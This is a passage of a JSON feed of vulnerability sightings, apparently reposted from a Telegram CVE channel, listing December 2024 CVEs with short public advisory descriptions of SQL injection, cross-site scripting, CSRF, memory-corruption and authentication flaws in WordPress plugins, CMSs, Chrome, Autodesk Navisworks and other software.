for authenticated attackers, with Subscriber-level access and above, to update the content of any post and create new skins. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T06:17:22.000000Z"}, {"uuid": "64dc576d-2e27-4b45-9558-498395a4cbd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12258", "type": "seen", "source": "https://t.me/cvedetector/12687", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12258 - \"Authorize.net WordPress Reflected Cross-Site Scripting\"\", \n  \"Content\": \"CVE ID : CVE-2024-12258 \nPublished : Dec. 12, 2024, 4:15 a.m. | 36\u00a0minutes ago \nDescription : The WP Service Payment Form With Authorize.net plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 2.6.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T06:17:22.000000Z"}, {"uuid": "2b73404a-4cf9-4893-ba49-783d54f14547", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12482", "type": "seen", "source": "https://t.me/cvedetector/12655", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12482 - \"Wetech-cms Path Traversal Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12482 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability was found in cjbi wetech-cms 1.0/1.1/1.2. It has been rated as problematic. Affected by this issue is the function backup of the file wetech-cms-master\\wetech-basic-common\\src\\main\\java\\tech\\wetech\\basic\\util\\BackupFileUtil.java of the component Database Backup Handler. The manipulation of the argument name leads to path traversal: '../filedir'. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:33.000000Z"}, {"uuid": "a7387abe-f13d-4b3e-a642-86e30a86d234", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12481", "type": "seen", "source": "https://t.me/cvedetector/12654", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12481 - Apache Wetech-CMS SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12481 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability was found in cjbi wetech-cms 1.0/1.1/1.2. It has been declared as critical. Affected by this vulnerability is the function findUser of the file wetech-cms-master\\wetech-core\\src\\main\\java\\tech\\wetech\\cms\\dao\\UserDao.java. The manipulation of the argument searchValue/gId/rId leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:32.000000Z"}, {"uuid": "60468a35-5125-4af6-a731-883942e99dc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12004", "type": "seen", "source": "https://t.me/cvedetector/12622", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12004 - WooCommerce WPC Order Notes CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12004 \nPublished : Dec. 11, 2024, 9:15 a.m. | 40\u00a0minutes ago \nDescription : The WPC Order Notes for WooCommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.5.2. This is due to missing or incorrect nonce validation on the ajax_update_order_note() function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-11T11:03:32.000000Z"}, {"uuid": "1799ea7e-4acd-46f6-94c5-4c04999e38c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12461", "type": "seen", "source": "https://t.me/cvedetector/12691", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12461 - WordPress Revive Adserver Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12461 \nPublished : Dec. 12, 2024, 4:15 a.m. | 36\u00a0minutes ago \nDescription : The WP-Revive Adserver plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wprevive_async' shortcode in all versions up to, and including, 2.2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T06:17:25.000000Z"}, {"uuid": "b0b6309d-7c82-445d-9a44-c3cd94fb9ba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12338", "type": "seen", "source": "https://t.me/cvedetector/12690", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12338 - \"WordPress Website Toolbox Community Plugin Reflected Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12338 \nPublished : Dec. 12, 2024, 4:15 a.m. | 36\u00a0minutes ago \nDescription : The Website Toolbox Community plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018websitetoolbox_username\u2019 parameter in all versions up to, and including, 2.0.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T06:17:24.000000Z"}, {"uuid": "d8e2bc53-1b3f-4aea-89c6-a4f62d7699f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12489", "type": "seen", "source": "https://t.me/cvedetector/12652", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12489 - \"Code-projects Online Class and Exam Scheduling System SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12489 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Online Class and Exam Scheduling System 1.0. It has been classified as critical. This affects an unknown part of the file /pages/term.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:28.000000Z"}, {"uuid": "e87d6f93-aec7-4f37-9090-1f430006ed54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12487", "type": "seen", "source": "https://t.me/cvedetector/12650", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12487 - Code-projects Online Class and Exam Scheduling System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12487 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability has been found in code-projects Online Class and Exam Scheduling System 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /pages/room_update.php. The manipulation of the argument id leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:26.000000Z"}, {"uuid": "6a28c8e5-bea4-4256-b3ec-09fd1d874e34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12486", "type": "seen", "source": "https://t.me/cvedetector/12649", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12486 - Code-projects Online Class and Exam Scheduling System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12486 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in code-projects Online Class and Exam Scheduling System 1.0. Affected is an unknown function of the file /pages/rank_update.php. The manipulation of the argument id leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:25.000000Z"}, {"uuid": "fbc6e928-71c6-4b34-acec-9a119fb06c87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "https://t.me/cvedetector/12661", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12381 - Google Chrome V8 Type Confusion Heap Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12381 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : Type Confusion in V8 in Google Chrome prior to 131.0.6778.139 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:40.000000Z"}, {"uuid": "c436a613-38e5-4e42-b455-30e9fd954cec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12480", "type": "seen", "source": "https://t.me/cvedetector/12653", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12480 - Vulnerability Title: CJBI Wetech-CMS SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12480 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability was found in cjbi wetech-cms 1.0/1.1/1.2. It has been classified as critical. Affected is the function searchTopic of the file wetech-cms-master\\wetech-core\\src\\main\\java\\tech\\wetech\\cms\\dao\\TopicDao.java. The manipulation of the argument con leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:28.000000Z"}, {"uuid": "e168330c-340d-4b16-8f5e-ab157e2e5d3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12488", "type": "seen", "source": "https://t.me/cvedetector/12651", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12488 - Code-projects Online Class and Exam Scheduling System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12488 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Online Class and Exam Scheduling System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file /pages/subject_update.php. The manipulation of the argument id leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:27.000000Z"}, {"uuid": "0b08049d-d5b5-4d12-a096-8b66bc13b52b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12484", "type": "seen", "source": "https://t.me/cvedetector/12657", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12484 - Codezips Technical Discussion Forum SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12484 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in Codezips Technical Discussion Forum 1.0. This vulnerability affects unknown code of the file /signuppost.php. The manipulation of the argument Username leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:34.000000Z"}, {"uuid": "250b6bee-8d91-4b7d-8473-f4a2c6678f89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12483", "type": "seen", "source": "https://t.me/cvedetector/12656", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12483 - Dromara UJCMS Authorization Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12483 \nPublished : Dec. 12, 2024, 1:40 a.m. | 10\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in Dromara UJCMS up to 9.6.3. This affects an unknown part of the file /users/id of the component User ID Handler. The manipulation leads to authorization bypass. It is possible to initiate the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. \nSeverity: 3.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T02:56:33.000000Z"}, {"uuid": "dbae562d-d536-47bb-b2f7-74e83ee7d4a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12283", "type": "seen", "source": "https://t.me/cvedetector/12623", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12283 - WordPress WP Pipes Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12283 \nPublished : Dec. 11, 2024, 9:15 a.m. | 40\u00a0minutes ago \nDescription : The WP Pipes plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018x1\u2019 parameter in all versions up to, and including, 1.4.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-11T11:03:32.000000Z"}, {"uuid": "798f8c38-946a-466a-837b-e3ad98be4b95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12363", "type": "seen", "source": "https://t.me/cvedetector/12624", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12363 - TeamViewer Remote Management Local File Deletion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12363 \nPublished : Dec. 11, 2024, 10:15 a.m. | 59\u00a0minutes ago \nDescription : Insufficient permissions in the TeamViewer Patch & Asset Management component prior to version 24.12 on Windows allows a local authenticated user to delete arbitrary files.\u00a0TeamViewer Patch & Asset Management is part of TeamViewer Remote Management. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-11T12:43:52.000000Z"}, {"uuid": "30e09e7c-d59d-4251-9bc7-b9ec3222facb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12286", "type": "seen", "source": "https://t.me/cvedetector/12535", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12286 - MOBATIME Network Master Clock SSH Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12286 \nPublished : Dec. 10, 2024, 6:15 p.m. | 34\u00a0minutes ago \nDescription : MOBATIME Network Master Clock - DTS 4801 allows attackers to use SSH to gain initial access using default credentials. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T19:59:17.000000Z"}, {"uuid": "b9dd244c-7c98-4189-bf1b-e90861921a0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "Telegram/SVynSwajLsN1aWxvMEuqgdPOPDTFCIEIjBJU5TY6OBLU3A", "content": "", "creation_timestamp": "2025-02-16T13:31:31.000000Z"}, {"uuid": "232b3895-caaa-4ebb-9ace-1f9a4153717d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12340", "type": "seen", "source": "https://t.me/cvedetector/13179", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12340 - Elementor Animation Addons Sensitive Information Exposur\", \n  \"Content\": \"CVE ID : CVE-2024-12340 \nPublished : Dec. 18, 2024, 10:15 a.m. | 42\u00a0minutes ago \nDescription : The Animation Addons for Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.1.6 via the 'render' function in widgets/content-slider.php and widgets/tabs.php. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive private, pending, and draft Elementor template data. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T12:01:14.000000Z"}, {"uuid": "f6e9d9a7-8985-4e71-94aa-aca620dabee3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12199", "type": "seen", "source": "https://t.me/cvedetector/13109", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12199 - Autodesk Navisworks OOB Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12199 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:58.000000Z"}, {"uuid": "713ab490-ec90-42f8-81b8-e59505d74f7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12198", "type": "seen", "source": "https://t.me/cvedetector/13108", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12198 - Autodesk Navisworks Out-of-Bounds Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12198 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:54.000000Z"}, {"uuid": "07395487-63e0-472c-9c4d-088152bcfe29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12192", "type": "seen", "source": "https://t.me/cvedetector/13104", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12192 - Autodesk Navisworks Out-of-Bounds Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12192 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWF file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:51.000000Z"}, {"uuid": "b2e1236f-71bd-4644-918a-789c633a7c66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12191", "type": "seen", "source": "https://t.me/cvedetector/13103", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12191 - Autodesk Navisworks Out-of-Bounds Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12191 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:47.000000Z"}, {"uuid": "355e9dbd-acc1-4a24-9f26-1cf872051232", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12187", "type": "seen", "source": "https://t.me/cvedetector/12059", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12187 - A vulnerability was found in 1000 Projects Library\", \n  \"Content\": \"CVE ID : CVE-2024-12187 \nPublished : Dec. 5, 2024, 1:15 a.m. | 31\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Library Management System 1.0. It has been classified as critical. Affected is an unknown function of the file /showbook.php. The manipulation of the argument q leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T02:48:31.000000Z"}, {"uuid": "55ccd221-02bd-4583-8da3-e94e7799c86b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12188", "type": "seen", "source": "https://t.me/cvedetector/12058", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12188 - A vulnerability was found in 1000 Projects Library\", \n  \"Content\": \"CVE ID : CVE-2024-12188 \nPublished : Dec. 5, 2024, 1:15 a.m. | 31\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Library Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /brains/stu.php. The manipulation of the argument useri leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T02:48:31.000000Z"}, {"uuid": "a268611b-e390-464e-bf83-e37a6d85329e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12454", "type": "seen", "source": "https://t.me/cvedetector/13178", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12454 - SliceWP Affiliates Cross-Site Request Forgery Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12454 \nPublished : Dec. 18, 2024, 10:15 a.m. | 42\u00a0minutes ago \nDescription : The Affiliate Program Suite \u2014 SliceWP Affiliates plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1.23. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T12:01:13.000000Z"}, {"uuid": "222c9a54-26c3-4975-bf7a-5ff6729384fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12554", "type": "seen", "source": "https://t.me/cvedetector/13177", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12554 - \"WordPress 